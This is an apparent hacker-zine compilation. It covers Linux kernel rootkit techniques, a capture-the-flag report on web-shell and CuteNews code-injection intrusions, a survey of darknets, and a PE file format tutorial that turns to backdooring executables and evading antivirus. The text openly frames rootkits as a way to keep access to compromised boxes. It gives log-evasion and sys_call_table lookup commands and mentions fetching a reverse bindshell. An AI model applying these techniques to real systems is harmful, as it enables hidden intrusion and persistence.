the source of the kernel. I spent a lot of time trying to get these debugging patches to also work with the xen patches to no avail. The other problem with the kernel debugger patches is that they are only available for certain kernel versions. If you would still like to make use of these tools however you can download the required kernel and patch set, apply the patches, build the kernel and run it on the same machine or on another computer (kgdb requires accessing the patched kernel over a serial line). Gdb by itself is marginally useful with a running kernel. You can run gdb on the Linux kernel with the command : gdb /proc/kcore ie zcat /boot/vmlinuz-2.6.16 > /tmp/vmlinuz gdb /tmp/vmlinuz /proc/kcore (gdb) symbol /boot/vmlinux-syms-2.6.16 (gdb) p sys_call_table You will want to build your target kernel with debugging symbols for this to work. You can additionally disassemble functions but thats about it; there is no way to set breakpoints, or step through the code... think about it, how could you? Additionally there are two books that will be invaluable in wrapping you head around the architecture of the Linux kernel. Linux Kernel Development [2] by Robert Love, and Linux Device Drivers 3rd edition by Alessandro Rubini. The later is available for free in pdf form in the Linux Driver Development Kit [3]. Because of the sheer complexity and size of the Linux kernel, unless you have been hacking on it since version 1.x you are going to need some external documentation. Don't forget to follow up the reading of each of these chapters with some time in front of the computer actually poking around with the relevant source. LKM security vectors: One of the most exciting aspects of LKM's is that it they provide a means for hiding the use of a system from the systems administrator. So the next time you have that 0-day buffer overflow, loaded with your local kernel root exploit reverse shell shell code combo, you can install your favorite LKM to maintain access to the system for as long as you need. There's no more need to stay up all night to get things wrapped up before the box gets discovered in the morning, finally a 8 hour day for the rest of us! System call and VFS hijacking are the two most commonly used methods for hiding use of system resources. Starting with the 2.6 kernel however the sys_call_table symbol used to store references to the system calls is no longer exported publicly which is a dependency for the majority of the 2.2 and 2.4 LKM's. There is however two workarounds for this, one of which is searching for the symbols address in the System-map file as in the lvtes LKM [11] ie: grep sys_call_table /boot/System.map-`uname -r`|awk '{print $1}' This technique isn't very portable because it could be different from system to system. The other method is by searching through the data segment of the running kernel to find the starting address of the sys call table, which is the method of choice in the override LKM[4]. The most commonly hijacked system calls are getuid(), geteuid(), getuid32(), and geteuid32() for escalating privileges. Getdents() and getdents64() are intercepted for hiding the process id directories from procfs. Fork() and clone() are masqueraded to hide the children of hidden processes, and finally read() is overridden to hide access to misc files in /proc/net to hide used network ports. A somewhat less cumbersome vector for hiding use of resources is to override a few of the VFS system calls that expose procfs to user space. Procfs is a in memory file system that keeps track of the kernel state; including process and network state. The earliest article I could find using this technique was phrack 58 by [13]. This method is implemented in the very robust LKM adore-ng [10]. Using this technique there is no need to locate the system call table, and there is no need to worry about forgetting to override a specific system call. Instead you are inserting a layer of indirection directly between user space and the kernel ABI that provides access to the data you are trying to hide. The Override LKM [15] is a simple yet complete code base to use as a starting point for your Linux kernel security research. Override was written by Grid-Knight and Alishba and is the example code used in the article "How to Write a Rootkit" in issue 69 of Linux Magazine by Alishba. This root kit provides process hiding, simple tcp port hiding, and privilege escalation. Interaction with the module is provided by hijacking chdir() and taking action depending on which secret directory is passed as a argument. Included below is the override source code including the documentation added by myself during my process of auditing the code. In conclusion Linux kernel development is a difficult and time consuming project, but is totally possible for the beginner with the right resources. A focused effort involving a cycle of reading and testing will provide the best results. Being able to audit and have handy a fully featured rootkit can increase the amount of time that a compromised system remains available and decreases the amount of sleepless nights you will have to spend completing your project. Please feel free to illicit more detailed explanations, or elaborate on the above explanation in this articles forum of hackbloc.org at http://hackbloc.org/site/component/option,com_smf/Itemid,27/topic,339.0/ . !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ results of the 10.13-15.2006 hackmeeting 'capture the flag' competition ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! This document contains the results of this weekend's hacking competition as well as documents and analyzes some of the techniques used by the hackers playing the challenge. Of the five boxes set up during the weekend, the three we had set up at dai5ychain were all broken into and owned. ghost: Nomenumbra, the Gibsons petunia: Ykstort, Wells, the Gibsons, frywire protea: reZo ystort: nobody Most of the hackers logging into the system tried to clear the temporary files they created as well as the .bash_history file. A common technique which was started very early into the game by some of the participants was to route ~.bash_history to /dev/null, preventing the system from capturing command line logs. this was done like: ln -s /dev/null ~.bash_history . We were able to recover [http://hackmeetingwiki.dai5ychain.net/drop/Presentations/capture_the_flag/resul ts/protea/bashhistory.txt a small portion of one of the bash_history files]. Nomenumbra and The Gibsons were able to break in and own 'ghost OS X laptop' which had been preconfigured with dozens of CMS scripts and had been used in previous hacking challenges. reZo was the only one able to root the Protea box although it is immediately unclear how s/he managed to elevate permissions. Ykstort had also tried to root the protea box was to log in using the guest protea account. He then created a public_html directory in their home directory and copied a web shell. Many apache configurations by default will allow local users to have web accessible ~/public_html/ directories. By calling the web shell like /~protea/c99.php, the hacker was able to execute shell commands as the permissions of the web server (www-data) which also owned the /usr/www/ directory. Here is a clip from the apache [ http://hackmeetingwiki.dai5ychain.net/drop/Presentations/capture_the_flag/ results/protea/access.log.txt access.log] 6/Oct/2006:10:41:19 -0500] "GET /~protea/c99.php?act=img&img=ext_0verkill HTTP/1 .1" 200 1034 "http://seedsforthe.noiseflower.com:8011/~protea/c99.php?act=ls&d= %2Fhome%2Fprotea&sort=0a" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7" Wells, Ykstort, the Gibsons, and frywire were able to gain control of the petunia box by various web intrusion techniques. The box had been set up with apache2, mysql, php5, the latest version of phpmyadmin, and an older version of cutenews. One technique which was used to gain access to the petunia box was to exploit the older and vulnerable version of cutenews. During the hackmeeting a live demonstration of this vulnerability was demonstrated. The vulnerability lies in the flood protection code where the scripts write header information provided by the client to the flood.db.php file. You can craft a http packet which contained a customized Client-Ip header which contained a bit of PHP code. By calling the flood.db.php file through the web browser, you were able to execute code running as permissions of the web user(www-data). We also demonstrated how to wget a reverse bindshell and set up netcat to receive an interactive shell which you can use to overwrite the hack.html file. During the game, KuroiShi took control of the router and changed the port forwarding settings, redirecting incoming traffic to his own box on the network. He then created his own hack.html file on his system and the scoring server registered him as having control of the box. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ darknets and other alternative / anonymous internets ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! The internet as we know it is structured and controlled by a conglomeration of corporations and governments. Their agenda is made obvious by their attempts to (commercial ISPs cooperating with law enforcement to illegally tap phone and internet, cooperation with media groups to enforce unjust copyright legislation, censorship of pro-democracy or oppositional political groups, and so on). Despite these attempts to control and monitor the free flow of information, internet technology itself knows no bounds and has created several temporary autonomous zones where entire networks of data exist. Hackers and activists are in unique positions to help develop alternatives to the commercial internet. We will analyze and rate several popular darknets or other alternative internet systems. Qualities of good darknets would include 1. encryption/anonymity, 2. an open structure of posting data, and 3. stability, popularity, and usability. ### tor / tor hidden services ### Tor and onion routing in general works by routing encrypted traffic through a series of random nodes around the world, obscuring your original location to the destination server. Tor hidden services allows users to create an anonymous domain name only accessible to other Tor and hides your true IP address by similar onion routing techniques. Tor (commonly used with web proxy software Privoxy) is available for all operating systems and can be downloaded from the tor.eff.org website. All applications which support SOCKS proxies can be configured to work with Tor. Some initial places to check out while on Tor: * the Tor Hidden Wiki @ http://6sxoyfb3h2nvok2d.onion/ acts as a good start page for browsing anonymous content on Tor * Search engines: Torgle @ http://5kdgyjnpcihfzskc.onion/ and http://nnqtnsoohprzqcke.onion * Tor Onion Relay Chat (ORC) IRC server web/irc @ 3d2et7ek4jjhnv3k.onion, first tor hidden services anonymous IRC server, most people hang out in #tor Tor hidden services are remarkably easy to set up. Edit your torrc file, uncomment the lines listed below, and relaunch Tor. HiddenServiceDir will be automatically created and populated with several files, including 'hostname' which contains your randomly generated domain name for your hidden service (something like a5mlyybantmqyjh.onion). You can configure as many hidden services for as many ports as you like. HiddenServiceDir /Library/Tor/services/hidden_service/ HiddenServicePort 80 127.0.0.1:80 pros: allows you to route all traffic through series of anonymous onion routers, as well as the ability to create secure domains only accessible to others using tor cons: speed is limited to the weakest link in the proxy chain, data leaving the tor exit nodes may be sniffed by vigilante white hats or government / law enforcement ### relakks ### A project of the Swedish Pirate Party, relakks claims to be the 'first commercial darknet'. In practice, it is an encrypted VPN / PPTP connection which all your traffic is routed through. pros: all traffic is forwarded through relakk's anonymous VPN. they claim not to store any IP or traffic records. cons: not truly a darknet or alternative internet, but an 'anonymous' gateway to the internet. it is also a commercial service ### freenet ### freenet, having been in active development for years, is possibly the most stable and populated anonymous 'darknet' we've seen. freenet is essentially an anonymous and encrypted distributed file storage system which stores portions of each 'freesite' amongst all connected nodes on the network. there are already large networks of controversial content available as it is in enough of a safe and reliable way of posting data. freenet works by connecting and sharing data with other trusted users (nodes) on freenet. in order to get online, you have to set up a freenet node on your system, reference with other freenet users, and automatically / anonymously share portions of data on the freesite network. this also introduces an extra layer of security, allowing you to choose only trusted nodes to get on the darknet. if you want to find other general users to try to get on the network, or have other general questions regarding freenet, check out the irc server irc.freenode.net and join the channel #freenet-refs. pros: distributed file storage system, built-in randomized proxies - and already has a wide network of documents and files only available on the darknet cons: cannot post dynamic/interactive/database-driven websites due to the nature of static file storage http://freenetproject.org/ ### alternative DNS networks ### Commercial internet depends on 13 master rootservers governed by the hierarchal domain authority ICANN. The majority of the rootservers are located in the US and are for the most part commercial or friendly to US interests. There are many alternative domain organizations which users can jump on to by configuring t heir systems to use the new DNS servers. Several of these groups allow users to create their own top level domains such as .indy or .glue, or are otherwise more friendly to the open source philosophy. Several of these projects include OpenNIC, Public-Root, Open Root Server Confederation, UnifiedRoot, dot.love, and others. pros: democratic DNS networks are not subject to the same commercial or authoritative regulations as the 'real' internet, many services allow you to create your own domains or TLDs for free, and at the same time be able to resolve traditional ICANN related domains. cons: still depends on existing ISPs who at the moment do not support alternative DNS servers by default ################################################################################ "On the PE file format and it's dark side ;)" by Nomenumbra/[0x00SEC] ################################################################################ [0x00] Table of Contents [0x00]ToC [0x01]Intro [0x02]General introduction [0x03]PE Structures and data types [0x04]A more in-depth and practical look [0x05]The dark side of this information [0x06]Resources [0x07]Shoutz'n greetz [0x01] Intro Hello folks and welcome to this article on the PE File format and the trix you can play with it. In order to get your "maximum experience" out of this article :p you should be familiar with C/C++ and win32 x86 ASM programming (Intel syntax), have a mediocre knowledge of the windows operating system and have a general understanding of what the hell is going on on your b0x ;) [0x02] General introduction The PE file format is a file format for executables, object code and DLLs used by the windows operating system. The format is nothing else than a data structure containing the information needed for the windows loader to execute the contained executable code. For example, DLL references, resource data (images,etc), API export and import tables, thread-local storage data,etc,etc Some file types using the PE format are .EXE,.DLL,.OBJ and .SYS files. The PE-File format evolved from the MS-DOS executable format and is based on the UNIX COFF format and bears some similarities. The biggest reminiscent of it's MS-DOS heritage is the inclusion of MS-DOS executable stub displaying "This program cannot be run in DOS mode". The PE file consists of a combination of headers detailing program structure and details on the program sections, necessary to run the app. Some sections of interest are: .text: The section usually containing the program code .data: Holding global variables and other program data .bss Holding uninitialized data .rsrc Holding program resources Another interesting section is the Import Address Table (IAT). The IAT table is used when a windows API is called. Because a compiled PE DLL/EXE cannot know in advance where the other DLLs it depends upon are located in memory, an indirect jump is required. As the dynamic linker loads modules and joins them together, it writes jump instructions into the IAT slots which point to the actual location of the destination function. A call to memcpy (located in msvcrt.dll), for example, might look like this in the application: 004012F9 |. C74424 08 0400>MOV DWORD PTR SS:[ESP+8],4 ; | 00401301 |. C74424 04 0020>MOV DWORD PTR SS:[ESP+4],testapp.0040200>; | 00401309 |. 8B85 F4FEFFFF MOV EAX,DWORD PTR SS:[EBP-10C] ; | 0040130F |. 890424 MOV DWORD PTR SS:[ESP],EAX ; | 00401312 |. E8 39050000 CALL ; \memcpy and inside the IAT: 00401850 $-FF25 FC504000 JMP DWORD PTR DS:[<&msvcrt.memcpy>]; msvcrt.memcpy To paint you a General look of what the PE file looks like: [DOS HEADER] [PE HEADER] [SECTION HEADER TABLE] [.text section] [.data section] [all other sections] When a PE get's loaded, it is "mapped" into memory (from whereon it'll be called a module) at a certain base address, the so called "image base" (usually 0x400000), a value defined in the PE Header. This address is usually referred to as the HMODULE. Let us first define some terms, to make discussion on this topic a bit easier: 0) Relative Virtual Address (RVA) The offset from the base address of the executable image once it's mapped into memory. Note that this is not the same as the offset in the file on the disk, since in-memory sections need to be aligned to a specefic boundary. Hence, as a result, the module image of the PE will contain "holes", a bunch of unused (usually NOP) data, between sections. 1) Virtual Address The full pointer into the address space of the process. VAs are the RVA + Base Address. From the base address, all structures and data can be found at their respective offsets. After adjusting values, setting up tables and structures the loader will execute code at the so-called "Entry-point", which is usually the RVA of the .text section. [0x03] PE Structures and data types Now, let's take a look at all these "magical" PE values. All PE structures are defined in winnt.h, so use that for reference. First, let's look at the DOS header, which is named IMAGE_DOS_HEADER in winnt.h: typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number (MZ, 0x4D5A) WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of the PE header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; The DOS header is obviously located right at the beginning of the PE mapping. The only interesting values (or at least, for this article) are e_magic, which MUST be 0x4D5A to identify it as a MS-DOS/PE executable (MZ, the initials of one of the designers of the MS-DOS exe format, Mark Zbikowski) and e_lfanew, which points into our PE headers. Let's look at our good ol' PE header then: typedef struct _IMAGE_NT_HEADERS { DWORD Signature; // PE signature, which must be IMAGE_NT_SIGNATURE (PE00 == 0x00004550) IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; } IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS; The PE Header is located at base_of_mapping+DosHeader->e_lfanew Here we have our file header and the "optional header", the optional header is where it all happens, but let's first look at the file header anyway, since it does supply us with some needed info. typedef struct _IMAGE_FILE_HEADER { WORD Machine; //The architecture type of the computer. An image file can //only be run on the specified computer or a system that //emulates the specified computer. WORD NumberOfSections; // number of sections this PE contains DWORD TimeDateStamp; // The low 32 bits of the time stamp of the image. //This represents the date and time the image was //created by the linker. The value is represented //in the number of seconds elapsed since midnight //(00:00:00), January 1, 1970, Universal //Coordinated Time, according to the system clock. DWORD PointerToSymbolTable; // The offset of the symbol table, in bytes, //or zero if no COFF symbol table exists. DWORD NumberOfSymbols; // The number of symbols in the symbol table. WORD SizeOfOptionalHeader; // The size of the optional header, in bytes. //This value should be 0 for object files WORD Characteristics; // The characteristics of the image, this field //tells us quite something about the PE image /* Possible values for the Characteristics field: IMAGE_FILE_RELOCS_STRIPPED 0x0001 Relocation information was stripped from the file. The file must be loaded at its preferred base address. If the base address is not available, the loader reports an error. IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 The file is executable (there are no unresolved external references). IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 COFF line numbers were stripped from the file. IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 COFF symbol table entries were stripped from file. IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010 Aggressively trim the working set. This value is obsolete as of Windows 2000. IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 The application can handle addresses larger than 2 GB. IMAGE_FILE_BYTES_REVERSED_LO 0x0080 The bytes of the word are reversed. This flag is obsolete. IMAGE_FILE_32BIT_MACHINE 0x0100 The computer supports 32-bit words. IMAGE_FILE_DEBUG_STRIPPED 0x0200 Debugging information was removed and stored separately in another file. IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 If the image is on removable media, copy it to and run it from the swap file. IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 If the image is on the network, copy it to and run it from the swap file. IMAGE_FILE_SYSTEM 0x1000 The image is a system file. IMAGE_FILE_DLL 0x2000 The image is a DLL file. While it is an executable file, it cannot be run directly. IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 The file should be run only on a uniprocessor computer. IMAGE_FILE_BYTES_REVERSED_HI 0x8000 The bytes of the word are reversed. This flag is obsolete. */ } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; The file header is located at PE_Header+sizeof(DWORD) = (base_of_mapping+DosHeader->e_lfanew+4). Now, the only fields that are of interest to us at the moment are NumberOfSections and SizeOfOptionalHeader. the Optional Header is located at PE_Header+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER); #define IMAGE_NUMBEROF_DIRECTOR_ENTRIES 16 // 0 to 15 typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; // The state of the image file. BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; //The size of the code section, in bytes, or the sum of //all such sections if there are multiple code sections DWORD SizeOfInitializedData; // The size of the initialized data section, // in bytes, or the sum of all such sections // if there are multiple initialized data // sections DWORD SizeOfUninitializedData; // The size of the uninitialized data // section, in bytes, or the sum of all // such sections if there are multiple // uninitialized data sections DWORD AddressOfEntryPoint; // A pointer to the entry point function, // relative to the image base address. For // executable files, this is the starting // address. For device drivers, this is the // address of the initialization function. The // entry point function is optional for DLLs. // When no entry point is present, this member // is zero. DWORD BaseOfCode; // A pointer to the beginning of the code section, // relative to the image base DWORD BaseOfData; // A pointer to the beginning of the data section, // relative to the image base DWORD ImageBase;// The preferred address of the first byte of the image // when it is loaded in memory. This value is a multiple // of 64K bytes. The default value for DLLs is // 0x10000000. The default value for applications is // 0x00400000, except on Windows CE where it is 0x00010000 DWORD SectionAlignment; // The alignment of sections loaded in memory, in // bytes. This value must be greater than or equal // to the FileAlignment member. The default value // is the page size for the system. DWORD FileAlignment; // The alignment of the raw data of sections in the // image file, in bytes. The value should be a power // of 2 between 512 and 64K (inclusive). The default // is 512. If the SectionAlignment member is less // than the system page size, this member must be the // same as SectionAlignment /* OS data */ WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; // The size of the image, in bytes, including all // headers. Must be a multiple of SectionAlignment DWORD SizeOfHeaders; // The combined size of the MS-DOS stub, the PE // header, and the section headers, rounded to a // multiple of the value specified in the // FileAlignment member DWORD CheckSum; // The image file checksum. The following files are // validated at load time: all drivers, any DLL loaded at // boot time, and any DLL loaded into a critical system // process. WORD Subsystem; // The subsystem required to run this image. The // following values are defined (windows CUI (character // user interface, console mode), GUI, XBOX system,etc WORD DllCharacteristics; /* The following values speak for themselves */ DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; // The number of directory entries in the // remainder of the optional header. Each entry // describes a location and size. IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; // A pointer to the first IMAGE_DATA_DIRECTORY structure in the data directory } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; There are many data structures within executable files that need to be quickly located. Some obvious examples are the imports, exports, resources, and base re-locations. All of these well-known data structures are found in a consistent manner, and the location is known as the DataDirectory. The DataDirectory is an array of 16 structures. Each array entry has a predefined meaning for what it refers to. The IMAGE_DIRECTORY_ENTRY_ xxx #defines are array indexes into the DataDirectory (from 0 to 15). The most interesting value here (for our goals) is obviously the AddressOfEntryPoint, which we will discuss later. The ImageBase normally doesn't differ from the standard, but when it does, it's important to know when Appending to the PE file (or employing EPO techniques for that matter) The Section and File Alignments are important in the perspective that they are needed to create a proper PE image. Now, let us take a look at that interesting DataDirectory, containing some of the most interesting PE data. typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; // this is an RVA not a VA, note that! DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; Each RVA of an element in the array points to a respective data structure. For example, DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress points to an IMAGE_IMPORT_DESCRIPTOR structure. Finding out what structures belong to what kind of data isn't so hard when using the good ol' msdn ImageHlp reference (http://msdn2.microsoft.com/en-us/library/ms680195.aspx) Now, if we look at our PE diagram again: [DOS HEADER] [PE HEADER] [SECTION HEADER TABLE] [.text section] [.data section] [all other sections] We can see that right after the optional header (being the end of the PE Header) are our Section headers (ImageFileHeader->NumberOfSections in total) These sections are defined according to the IMAGE_SECTION_HEADER structure. typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // section name, .text for example union { DWORD PhysicalAddress; // address in file DWORD VirtualSize; // The total size of the section when // loaded into memory, in bytes. If this // value is greater than the // SizeOfRawData member, the section is // filled with zeroes. This field is // valid only for executable images and // should be set to 0 for object files. } Misc; DWORD VirtualAddress; // RVA, The address of the first byte of the // section when loaded into memory, relative to // the image base. For object files, this is the // address of the first byte before relocation is // applied. DWORD SizeOfRawData; // The size of the initialized data on disk, in // bytes. This value must be a multiple of the // FileAlignment member of the // IMAGE_OPTIONAL_HEADER structure. If this value // is less than the VirtualSize member, the // remainder of the section is filled with zeroes. // If the section contains only uninitialized data // the member is zero. DWORD PointerToRawData; // A file pointer to the first page within the // COFF file. This value must be a multiple of // the FileAlignment member of the // IMAGE_OPTIONAL_HEADER structure. If a section // contains only uninitialized data, this // member is zero. DWORD PointerToRelocations; // A file pointer to the beginning of the // relocation entries for the section. If // there are no relocations, this value is // zero. DWORD PointerToLinenumbers; // A file pointer to the beginning of the // line-number entries for the section. If // there are no COFF line numbers, this // value is zero. WORD NumberOfRelocations; // The number of relocation entries for the // section. This value is zero for executable // images. WORD NumberOfLinenumbers; // The number of line-number entries for the // section. DWORD Characteristics; // The characteristics of the image , section // flags so to say /* Interesting possible values: IMAGE_SCN_CNT_CODE 0x00000020 The section contains executable code. IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 The section contains initialized data. IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 The section contains uninitialized data. IMAGE_SCN_MEM_SHARED 0x10000000 The section can be shared in memory. IMAGE_SCN_MEM_EXECUTE 0x20000000 The section can be executed as code. IMAGE_SCN_MEM_READ 0x40000000 The section can be read. IMAGE_SCN_MEM_WRITE 0x80000000 The section can be written to. */ } IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER; At a minimum, there are usually at least two sections in a PE file: one for code, the other for data. Commonly, there's at least one other type of data section in a PE file. Now that we have taken a look at the structures and you've gotten a bit familiar with them, it's time to get our hand dirty! [0x03] A more Practical look For a practical look at the PE structure we'll write a small tool for basic PE info reporting. The first step we take when analyzing a file is ,of course, opening a handle to it. To do this we'll use CreateFileA. HANDLE fhndl = CreateFileA("pe.exe",0x0C0000000,0,0,3,0,0); // open file if(fhndl == INVALID_HANDLE_VALUE) return -1; int FileSize = GetFileSize(fhndl,0); // get file's size the next thing we'll do is Create a mapping of the file: HANDLE Maphndl = CreateFileMappingA(fhndl,0,PAGE_READWRITE,0,FileSize+extra_size,0); // create file mapping if(Maphndl == 0) { CloseHandle(fhndl); return -1; } Now you'll wonder what extra_size is for. Well in this case, it can be 0, but when we would like to modify the PE later on, like appending a section, or adding code to a section, we would need to map the exact file size + what we are going to add, since that much memory will be allocated, and we don't want any segfaults now do we? Ok, on with the show. Now we should do a MapViewOfFile call, which Maps the view of a file into the address space. char* szBuffer = (char*)MapViewOfFile(Maphndl,2,0,0,FileSize+extra_size); // map view (return base addr) Now that we have the base (szBuffer), we can start extracting values: // fetch our DOS header IMAGE_DOS_HEADER *iDosHeader = (IMAGE_DOS_HEADER*)szBuffer; if(iDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) // is the signature correct? { printf("[-]Invalid IMAGE_DOS_SIGNATURE (%#x) -> should be 0x5a4d (MZ in little endian)\n",iDosHeader->e_magic); free(szBuffer); return -1; } printf("[+]Correct IMAGE_DOS_SIGNATURE (%#x)\n",iDosHeader->e_magic); // Get and check the PE header char *pTemp=(char*)iDosHeader+iDosHeader->e_lfanew; char *PEHead = pTemp; // instead of declaring PEHead as IMAGE_NT_HEADERS* which would have been neater, we just take the address, since we won't extract much data from it anyway DWORD *dwSignature=(DWORD*)pTemp; // PE signature (PE00) is the first DWORD in the structure pTemp+=sizeof(DWORD); // go to File Header if(*dwSignature!=IMAGE_NT_SIGNATURE) // correct signature? { printf("[-]Invalid IMAGE_NT_SIGNATURE (%#x) -> should be 0x4550\n",*dwSignature); free(szBuffer); return -1; } printf("[+]Correct IMAGE_NT_SIGNATURE (%#x)\n\n",*dwSignature); // Get the rest of the headers IMAGE_FILE_HEADER *iFileHead=(IMAGE_FILE_HEADER*)pTemp; printf("[+]IMAGE_FILE_HEADER at %#x\n",pTemp); pTemp+=sizeof(IMAGE_FILE_HEADER); //optional header = location of file header + sizeof(file_header) IMAGE_OPTIONAL_HEADER *iOptHead=(IMAGE_OPTIONAL_HEADER*)pTemp; printf("[+]IMAGE_OPTIONAL_HEADER at %#x\n",pTemp); pTemp+=sizeof(IMAGE_OPTIONAL_HEADER); //first section header = location of optional header + sizeof(optional_header) IMAGE_SECTION_HEADER *iSectHead=(IMAGE_SECTION_HEADER*)pTemp; printf("[+]IMAGE_SECTION_HEADER at %#x\n\n",pTemp); /* The following i pretty obvious */ printf("[+]Characteristics = [%#x]\n",iFileHead->Characteristics); printf("[+]NumberOfSections = [%#x]\n",iFileHead->NumberOfSections); printf("[+]Entry point = [%#x]\n",iOptHead->AddressOfEntryPoint); printf("[+]Magic = [%#x]\n",iOptHead->Magic); printf("[+]NumberOfRvaAndSizes = [%#x]\n",iOptHead->NumberOfRvaAndSizes); printf("[+]Image base = [%#x]\n",iOptHead->ImageBase); printf("[+]Base of code = [%#x]\n",iOptHead->BaseOfCode); printf("[+]Base of data = [%#x]\n\n",iOptHead->BaseOfData); printf("[+]Section Alignment = [%#x]\n",iOptHead->SectionAlignment); printf("[+]File Alignment = [%#x]\n\n",iOptHead->FileAlignment); printf("[+]Size of image = [%#x]\n",iOptHead->SizeOfImage); printf("[+]Size of headers = [%#x]\n",iOptHead->SizeOfHeaders); printf("[+]Checksum = [%#x]\n\n",iOptHead->CheckSum); etc,etc Now, enumerating the sections will be fairly easy: int iSection; IMAGE_SECTION_HEADER *iSectPtr, *iSectCode=NULL, // code section pointer *iSectData=NULL, // data section pointer *iSectReloc=NULL,// reloc section pointer *iSectRsrc=NULL, // resource section pointer *iSectIdata=NULL,// idata section pointer *iSectRdata=NULL,// rdata section pointer *iSectBss=NULL, // bss section pointer *iSectNew=NULL; // decoder section pointer for(iSection=0, iSectPtr=iSectHead; iSectionNumberOfSections; iSection++, iSectPtr+=IMAGE_SIZEOF_SECTION_HEADER) { printf("[+]Section number %d is '%s'...\n",iSection,iSectPtr->Name); // check for known sections of which to save the addr // Check if its the code section if(strstr((char*)iSectPtr->Name, ".text")) { // Mark this as the code section iSectCode=iSectPtr; } // Check if its the data section if(strstr((char*)iSectPtr->Name, ".data")) { // Mark this as the data section iSectData=iSectPtr; } // Check if its the reloc section if(strstr((char*)iSectPtr->Name, ".reloc")) { // Mark this as the reloc section iSectReloc=iSectPtr; } // Check if its the resource section if(strstr((char*)iSectPtr->Name, ".rsrc")) { // Mark this as the resource section iSectRsrc=iSectPtr; } // Check if its the idata section if(strstr((char*)iSectPtr->Name, ".idata")) { // Mark this as the idata section iSectIdata=iSectPtr; } // Check if its the rdata section if(strstr((char*)iSectPtr->Name, ".rdata")) { // Mark this as the rdata section iSectRdata=iSectPtr; } // Check if its the bss section if(strstr((char*)iSectPtr->Name, ".bss")) { // Mark this as the bss section iSectBss=iSectPtr; } } Now, getting data from a section itself is fairly easy, the address where the first byte of a section is located is base+pointer_to_raw_data. Remember, when finished doing whatever it is you do ;) SetFilePointer(hndl,iFileSize,0,0); SetEndOfFile(hndl); UnmapViewOfFile(hMap); CloseHandle(hMap); CloseHandle(hndl); free(szBuffer); [0x05] The dark side of this information "Well very interesting and all Nome you'll say, but how's this gonna help me h4x?" Well, there are several approaches we can take, i'll discuss 2. 0)Backdooring PE files trough PE infection (both appending and EPO) 1)Compressing/Encrypting your executables to make them smaller and less likely to be detected by AV engines. In this article we'll discuss PE backdooring/infection, writing a crypter/packer will be fairly easy once you've mastered the concept of manipulating PE file modification, since you can easily use self-decrypting/unpacking code instead of malicious code. In the context of hacking we'd have, for example, the following scenario in mind: Take a well known binary that is run frequently by a user with higher privileges and add some shellcode (reverse shell, add user, whatever) to it while still having a fully functional original binary. In the VXing context it's pretty clear, we'd want to append/employ EPO to infect a target file with our virus. Since this concept has been chewed and documented over and over again in the VXing scene, and the concept is generally the same, i'll just focus on the general concept, not viral or hacking specific , but as I said, the theory is generally the same, and you could just use viral code (the executing app) as well as prefixed shellcode. First of all we'll discuss appending. Appeding to a PE file basically comes down to adding an extra section to the PE and making the entry point point to the beginning of this section which executes our code and transfers control back to the original entry point, so our code will be execute before the real application code, without the user noticing a huge difference. Now, let us sum up what needs to be done to Append our code to a PE file. [0] Create a new section header for our malicious section [1] Create a new section with our malicious code [2] Update PE image details relevant to section 